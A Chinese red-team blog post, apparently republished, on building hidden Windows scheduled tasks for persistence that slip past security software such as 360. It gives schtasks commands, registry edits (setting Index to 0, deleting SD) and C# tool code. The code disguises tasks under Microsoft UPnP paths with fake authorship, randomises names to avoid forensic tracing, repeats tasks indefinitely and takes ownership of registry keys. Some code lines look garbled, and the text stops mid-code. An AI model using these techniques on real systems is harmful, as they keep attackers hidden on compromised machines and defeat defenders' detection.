我们都老out了之绕过添加计划任务360卫士拦截并隐藏计划任务
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;"><b><span lang="EN-US" style="font-size:14.0pt;">Windows</span></b><b><span style="font-size:14.0pt;">计划任务的进阶<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">Z2O</span></b><b><span style="font-size:14.0pt;">安全攻防<span lang="EN-US"> <a href="javascript:void(0);"><span lang="EN-US"><span lang="EN-US">橘猫学安全</span></span></a> 2024-03-27 16:50 </span>北京<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">文章正文<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><br />
<br />
<br />
</span></b><b><span style="font-size:14.0pt;">本文阐述<span lang="EN-US">Windows</span>计划任务在系统中的隐藏方式及工具化的转换。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">前言<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">计划任务作为持久化的机制之一，也被用在红队行动中。但常见的利用方法在被安全软件阻断的同时，也没有达到隐藏效果，并提高了被发现的风险。所以，需要深入理解利用计划任务，规避风险，达到持久控制。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">隐藏<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">创建计划任务<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">at.exe </span></b><b><span style="font-size:14.0pt;">在<span lang="EN-US"> windows8 </span>开始就弃用了，之后的系统都是使用<span lang="EN-US"> schtasks.exe </span>创建计划任务。<span lang="EN-US">schtasks </span>比<span lang="EN-US"> at </span>更加强大， 使管理员能够在本地或远程计算机上创建、删除、查询、更改、运行和结束计划任务。运行不带参数的<span lang="EN-US"> schtasks.exe </span>将显示每个已注册任务的状态和下次运行时间。更多查看<span lang="EN-US"> Microsoft </span>文档<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">schtasks /Create <br />
]]]<br />
] /SC schedule <br />
/TN taskname /TR taskrun <br />
[ {/ET endtime | /DU duration} <br />
] </span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">命令行<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">schtasks /create /tn TestSchtask /tr C:\Windows\System32\cmd.exe /sc DAILY /st 13:00:00</span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">XML </span></b><b><span style="font-size:14.0pt;">文件<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">计划任务一旦创建成功，将会自动在<span lang="EN-US"> %SystemRoot%\System32\Tasks </span>目录生成一个关于该任务的描述性<span lang="EN-US"> XML </span>文件，包含了所有的任务信息。运行<span lang="EN-US"> taskschd.msc </span>，同时可以在任务计划程序看到刚才所创建的任务，处在程序库的根目录下。</span></b><b><img width="554" height="281" src="http://cobjon.com/w/php/upload/202404/01/d9c1006f.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span lang="EN-US" style="font-size:14.0pt;"></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">注册表<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">在<span lang="EN-US"> Windows XP </span>时，计划任务注册表路径为<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">计算机<span lang="EN-US">\HKEY_LOCAL_MACHINE\Software\Microsoft\SchedulingAgent\</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">Windows7 </span></b><b><span style="font-size:14.0pt;">以后变成<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">计算机<span lang="EN-US">\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">以<span lang="EN-US"> Windows 10 </span>为例，查看刚才所创建任务计划的键值，路径：计算机<span lang="EN-US">\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask</span></span></b><b><img width="554" height="139" src="http://cobjon.com/w/php/upload/202404/01/1043a16b.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span lang="EN-US" style="font-size:14.0pt;">Id {GUID}</span></b><b><span style="font-size:14.0pt;">，任务对应的<span lang="EN-US">guid</span>编号。<span lang="EN-US">Index </span>一般任务值为<span lang="EN-US">3</span>，其他值未知。<span lang="EN-US">SD Security Descriptor </span>安全描述符，在<span lang="EN-US">Windows</span>中，每一个安全对象实体都拥有一个安全描述符，安全描述符包含了被保护对象相关联的安全信息的数据结构，它的作用主要是为了给操作系统提供判断来访对象的权限。【 经测试：<span lang="EN-US">Windows 7 </span>、<span lang="EN-US">Windows Server 2008 </span>无<span lang="EN-US"> SD </span>值、<span lang="EN-US">Windows 10 </span>有<span lang="EN-US"> SD </span>值 】<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">安全软件阻止<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">如果主机存在安全软件，计划任务的创建会被阻止，命令行无法成功创建。（可通过<span lang="EN-US"> </span>计划任务<span lang="EN-US">API </span>绕过，工具化利用此点）<span lang="EN-US">schtasks /create /tn "TestTask" /ru system /tr C:\Windows\System32\cmd.exe /sc weekly /d mon /st 01:00</span></span></b><b><img width="553" height="395" src="http://cobjon.com/w/php/upload/202404/01/f6952c22.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span lang="EN-US" style="font-size:14.0pt;"></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">隐藏姿势<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">非完全隐藏<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">非完全隐藏一个计划任务，通过修改<span lang="EN-US"> \Schedule\TaskCache\Tree </span>下对应任务的<span lang="EN-US"> Index </span>值，一般情况下值为<span lang="EN-US"> 3 </span>。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">Index </span></b><b><span style="font-size:14.0pt;">修改<span lang="EN-US"></span></span></b>
</p>
<ul style="margin-top:0cm;" type="circle">
<li style="font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">•<span lang="EN-US"> </span>修改<span lang="EN-US"> HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} </span>下对应任务的<span lang="EN-US"> Index </span>值为<span lang="EN-US"> 0</span></span></b>
</li>
</ul>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">以<span lang="EN-US"> Windows 10 </span>为例，新建计划任务<span lang="EN-US"> cmd </span>的高级安全设置中所有者为<span lang="EN-US"> SYSTEM</span>，默认无法更改注册表键值。</span></b><b><span lang="EN-US" style="font-size:14.0pt;"><img width="532" height="242" src="http://cobjon.com/w/php/upload/202404/01/0fd63984.png" alt="vshapes=" "="" style="vertical-align:middle;" /><img width="554" height="339" src="http://cobjon.com/w/php/upload/202404/01/bc22aaa5.png" alt="vshapes=" "="" style="vertical-align:middle;" /></span></b><b><span style="font-size:14.0pt;">更改所有者为<span lang="EN-US"> Administrators</span>，并赋予完全控制权限，才能修改注册表键值。</span></b><b><img width="533" height="540" src="http://cobjon.com/w/php/upload/202404/01/a51d0740.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span style="font-size:14.0pt;">当<span lang="EN-US"> Index </span>修改为<span lang="EN-US"> 0 </span>后， 利用<span lang="EN-US"> taskschd.msc</span>、<span lang="EN-US">schtasks.exe </span>、甚至系统<span lang="EN-US">API</span>查询出的所有任务中，都查看不到所创建的任务。但如果知道该任务名称，可以通过<span lang="EN-US"> schtasks /query /tn {TaskName Path} </span>查到。</span></b><b><img width="554" height="184" src="http://cobjon.com/w/php/upload/202404/01/878cab54.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span style="font-size:14.0pt;">但在<span lang="EN-US"> Windows Server 2008 </span>与<span lang="EN-US"> Windows 7 </span>中，修改<span lang="EN-US"> Index </span>键值为<span lang="EN-US"> 0 </span>，任务计划程序中仍存在该任务。原因未知</span></b><b><img width="554" height="194" src="http://cobjon.com/w/php/upload/202404/01/3a9b1c98.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span lang="EN-US" style="font-size:14.0pt;"></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">XML </span></b><b><span style="font-size:14.0pt;">文件删除<span lang="EN-US"></span></span></b>
</p>
<ul style="margin-top:0cm;" type="circle">
<li style="font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">•<span lang="EN-US"> </span>删除<span lang="EN-US"> %SystemRoot%\System32\Tasks </span>下任务对应的<span lang="EN-US"> XML </span>文件<span lang="EN-US"></span></span></b>
</li>
</ul>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>1.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">1. </span></b><b><span style="font-size:14.0pt;">在<span lang="EN-US"> Windows 10 </span>中，删除<span lang="EN-US"> XML </span>文件，并不影响计划任务的运行，且在<span lang="EN-US"> taskschd.msc </span>任务计划程序中，依然存在对应任务；<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>2.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">2. </span></b><b><span style="font-size:14.0pt;">在<span lang="EN-US"> Windows 7 </span>与<span lang="EN-US"> Windows Server 2008 </span>中，若删除<span lang="EN-US"> XML </span>文件，任务计划程序中的对应任务也会被删除，并且影响计划任务的运行，但注册表中项值依然存在。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">完全隐藏<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">SD </span></b><b><span style="font-size:14.0pt;">删除<span lang="EN-US"></span></span></b>
</p>
<ul style="margin-top:0cm;" type="circle">
<li style="font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">•<span lang="EN-US"> </span>删除<span lang="EN-US"> HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}\SD</span></span></b>
</li>
<li style="font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">•<span lang="EN-US"> </span>删除<span lang="EN-US"> %SystemRoot%\System32\Tasks </span>下任务对应的<span lang="EN-US"> XML </span>文件<span lang="EN-US"></span></span></b>
</li>
</ul>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">这样操作，无论何种方式<span lang="EN-US"> (</span>排除注册表<span lang="EN-US">) </span>都查不到该任务，较为彻底。因为<span lang="EN-US"> SD </span>就是安全描述符，它的作用主要是为了给操作系统提供判断来访对象的权限，但被删除后，无法判断用户是否有权限查看该任务信息，导致系统直接判断无权限查看。因此在使用<span lang="EN-US"> schtasks /query /tn \Microsoft\Windows\AppID\cmd </span>查询时，提示<span lang="EN-US">“</span>错误<span lang="EN-US">: </span>系统找不到指定的文件<span lang="EN-US">”</span>。但经过测试，<span lang="EN-US">Windows 7 </span>、<span lang="EN-US">Windows Server 2008 </span>无<span lang="EN-US"> SD </span>值、<span lang="EN-US">Windows 10 </span>有<span lang="EN-US"> SD </span>值。</span></b><b><img width="554" height="233" src="http://cobjon.com/w/php/upload/202404/01/b51dab93.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span lang="EN-US" style="font-size:14.0pt;"></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">总结<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">Windows </span></b><b><span style="font-size:14.0pt;">计划任务的隐藏并未绝对，因操作系统存在差异，最终实现的效果也不同。但作为持久化的机制之一，需要深入理解利用。<span lang="EN-US"></span></span></b>
</p>
<div align="left" style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:left;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">
<hr size="2" width="100%" noshade="noshade" style="color:black;" align="left" />
</span></b>
</div>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">工具化<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">主要以计划任务的代码开发为主，将手工化转变为工具化。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">效果图<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><img width="554" height="317" src="http://cobjon.com/w/php/upload/202404/01/b1976e9d.png" alt="vshapes=" "="" style="vertical-align:middle;" /><img width="554" height="317" src="http://cobjon.com/w/php/upload/202404/01/7c8ed4f4.png" alt="vshapes=" "="" style="vertical-align:middle;" /></span></b><b><span lang="EN-US" style="font-size:14.0pt;"></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">实现步骤<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>1.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">1. </span></b><b><span style="font-size:14.0pt;">选择主机随机进程名作为计划任务程序文件名<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>2.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">2. </span></b><b><span style="font-size:14.0pt;">将计划任务程序文件复制到<span lang="EN-US"> %AppData%\Microsoft\Windows\Themes\ </span>中<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>3.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">3. </span></b><b><span style="font-size:14.0pt;">创建的计划任务名取同一随机进程名<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>4.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">4. </span></b><b><span style="font-size:14.0pt;">计划任务触发器以分钟为单位，无限期持续<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>5.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">5. </span></b><b><span style="font-size:14.0pt;">更改<span lang="EN-US"> Index</span>、删除<span lang="EN-US"> SD </span>的键值，隐藏计划任务对应的<span lang="EN-US"> XML </span>文件<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>6.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">6. </span></b><b><span style="font-size:14.0pt;">删除已添加的计划任务<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">编写代码<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">编写任务计划的工具，需要用到任务计划<span lang="EN-US">API</span>：<span lang="EN-US">Microsoft.Win32.TaskScheduler.dll</span>。在<span lang="EN-US"> Visual Studio </span>中，可以直接从<span lang="EN-US">NuGet</span>程序包中安装获取。<span lang="EN-US"><br />
</span>当然，也可以从<span lang="EN-US"> GitHub TaskScheduler </span>中下载获取。</span></b><b><img width="554" height="197" src="http://cobjon.com/w/php/upload/202404/01/2d511a55.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span lang="EN-US" style="font-size:14.0pt;"></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">随机进程名<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">选择主机随机进程名，作为计划任务程序文件名与计划任务名，主要为了每次运行名称都随机，防止后续被溯源，并且取随机进程名，也是一种隐匿。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">//</span></b><b><span style="font-size:14.0pt;">选择主机随机进程名<span lang="EN-US"><br />
Process[] progresses = Process.GetProcesses();<br />
Random random = new Random();<br />
string randomname = (progresses.ProcessName);</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">创建计划任务<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">触发器以分钟为单位，无限期持续的运行所创建的计划任务，主要是为了权限的持久性。如果说只运行一次或持续时间为一天，那对于权限的维持可以说是毫无意义。计划任务的创建没有放在根路径下，而是创建在<span lang="EN-US">\Microsoft\Windows\UPnP\ </span>路径下，达到隐匿。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">//</span></b><b><span style="font-size:14.0pt;">创建计划任务<span lang="EN-US"><br />
public static void CreateTask(string randomname, string destinationFile, string min)<br />
{<br />
TaskDefinition td = TaskService.Instance.NewTask();<br />
td.RegistrationInfo.Author = "Microsoft"; //</span>创建者<span lang="EN-US"><br />
td.RegistrationInfo.Description = "UPnPHost Service Settings"; //</span>描述<span lang="EN-US"><br />
//</span>计划任务运行时间<span lang="EN-US"> Min/</span>无限期<span lang="EN-US"><br />
double time = double.Parse(min);<br />
TimeTrigger tt = new TimeTrigger();<br />
tt.StartBoundary = DateTime.Now;<br />
tt.Repetition.Interval = TimeSpan.FromMinutes(time);<br />
<br />
td.Triggers.Add(tt);<br />
td.Actions.Add(destinationFile, null, null);<br />
string taskpath = @"\Microsoft\Windows\UPnP\" + randomname;<br />
TaskService.Instance.RootFolder.RegisterTaskDefinition(taskpath, definition: td, TaskCreation.CreateOrUpdate, null, null, 0);<br />
}</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">隐藏计划任务<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">XML </span></b><b><span style="font-size:14.0pt;">文件隐藏<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">文中已经说过：<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>1.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">1. </span></b><b><span style="font-size:14.0pt;">在<span lang="EN-US"> Windows 10 </span>中，删除<span lang="EN-US"> XML </span>文件，并不影响计划任务的运行，且在<span lang="EN-US"> taskschd.msc </span>任务计划程序中，依然存在对应任务；<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-left:36.0pt;tab-stops:list 36.0pt;text-align:justify;text-indent:-18.0pt;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;"><span>2.<span style="font:7.0pt ""> </span></span></span></b><b><span lang="EN-US" style="font-size:14.0pt;">2. </span></b><b><span style="font-size:14.0pt;">在<span lang="EN-US"> Windows 7 </span>与<span lang="EN-US"> Windows Server 2008 </span>中，若删除<span lang="EN-US"> XML </span>文件，任务计划程序中的对应任务也会被删除，并且影响计划任务的运行。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">为了程序的可用性，这里只能将<span lang="EN-US"> XML </span>文件进行隐藏，而不是删除。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">//</span></b><b><span style="font-size:14.0pt;">隐藏<span lang="EN-US"> %SystemRoot%\System32\Tasks </span>下计划任务对应的<span lang="EN-US"> XML </span>文件<span lang="EN-US"><br />
public static void HidXml(string taskpath)<br />
{<br />
string xml = $@"C:\Windows\System32\Tasks" + taskpath;<br />
FileInfo info = new FileInfo(xml);<br />
if (info.Exists)<br />
{<br />
info.Attributes = FileAttributes.Hidden;<br />
Console.WriteLine($"[*] Hidden task xml file: \n{xml}");<br />
}<br />
}</span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">Index </span></b><b><span style="font-size:14.0pt;">修改<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">通过修改<span lang="EN-US"> HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} </span>下对应任务的<span lang="EN-US"> Index </span>值为<span lang="EN-US"> 0</span>后，利用<span lang="EN-US"> taskschd.msc</span>、<span lang="EN-US">schtasks.exe </span>、<span lang="EN-US">API </span>都查看不到所创建的任务。首先需要更改注册表对应计划任务项值的高级安全设置中的所有者。在未获取特权模式下，工具运行后提示<span lang="EN-US">“</span>拒绝访问<span lang="EN-US">”</span>，这显然是权限不足。</span></b><b><img width="554" height="93" src="http://cobjon.com/w/php/upload/202404/01/b8baf2d9.png" alt="vshapes=" "="" style="vertical-align:middle;" /></b><b><span style="font-size:14.0pt;">可以使用<span lang="EN-US"> TokenManipulator </span>类<span lang="EN-US"> </span>，从而获取特权模式。这就需要在项目中添加一个新的<span lang="EN-US">C#</span>类，之后在头部<span lang="EN-US"> using CosmosKey.Utils; </span>。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">try<br />
{<br />
TokenManipulator.AddPrivilege("SeRestorePrivilege");<br />
TokenManipulator.AddPrivilege("SeBackupPrivilege");<br />
TokenManipulator.AddPrivilege("SeTakeOwnershipPrivilege");<br />
<br />
var subKey = Registry.ClassesRoot.OpenSubKey(@"AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}", RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);<br />
// code to change owner...<br />
}<br />
finally<br />
{<br />
TokenManipulator.RemovePrivilege("SeRestorePrivilege");<br />
TokenManipulator.RemovePrivilege("SeBackupPrivilege");<br />
TokenManipulator.RemovePrivilege("SeTakeOwnershipPrivilege");<br />
}</span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span style="font-size:14.0pt;">获取特权模式后，更改注册表项值的所有者为<span lang="EN-US"> Administrators</span>，同时要更改注册表项值的权限，这才能对<span lang="EN-US"> Index </span>进行修改操作。<span lang="EN-US"></span></span></b>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
<b><span lang="EN-US" style="font-size:14.0pt;">//</span></b><b><span style="font-size:14.0pt;">更改注册表项值的所有者<span lang="EN-US"><br />
RegistryKey subKey = Registry.LocalMachine.OpenSubKey(regpath,RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRightsTakeOwnership);<br />
RegistrySecurity rs = new RegistrySecurity();<br />
//</span>设置安全性的所有者为<span lang="EN-US">Administrators<br />
rs.SetOwner(new NTAccount("Administrators"));<br />
//</span>为注册表项设置权限<span lang="EN-US"><br />
subKey.SetAccessControl(rs);<br />
<br />
//</span>更改注册表项值的权限<span lang="EN-US"><br />
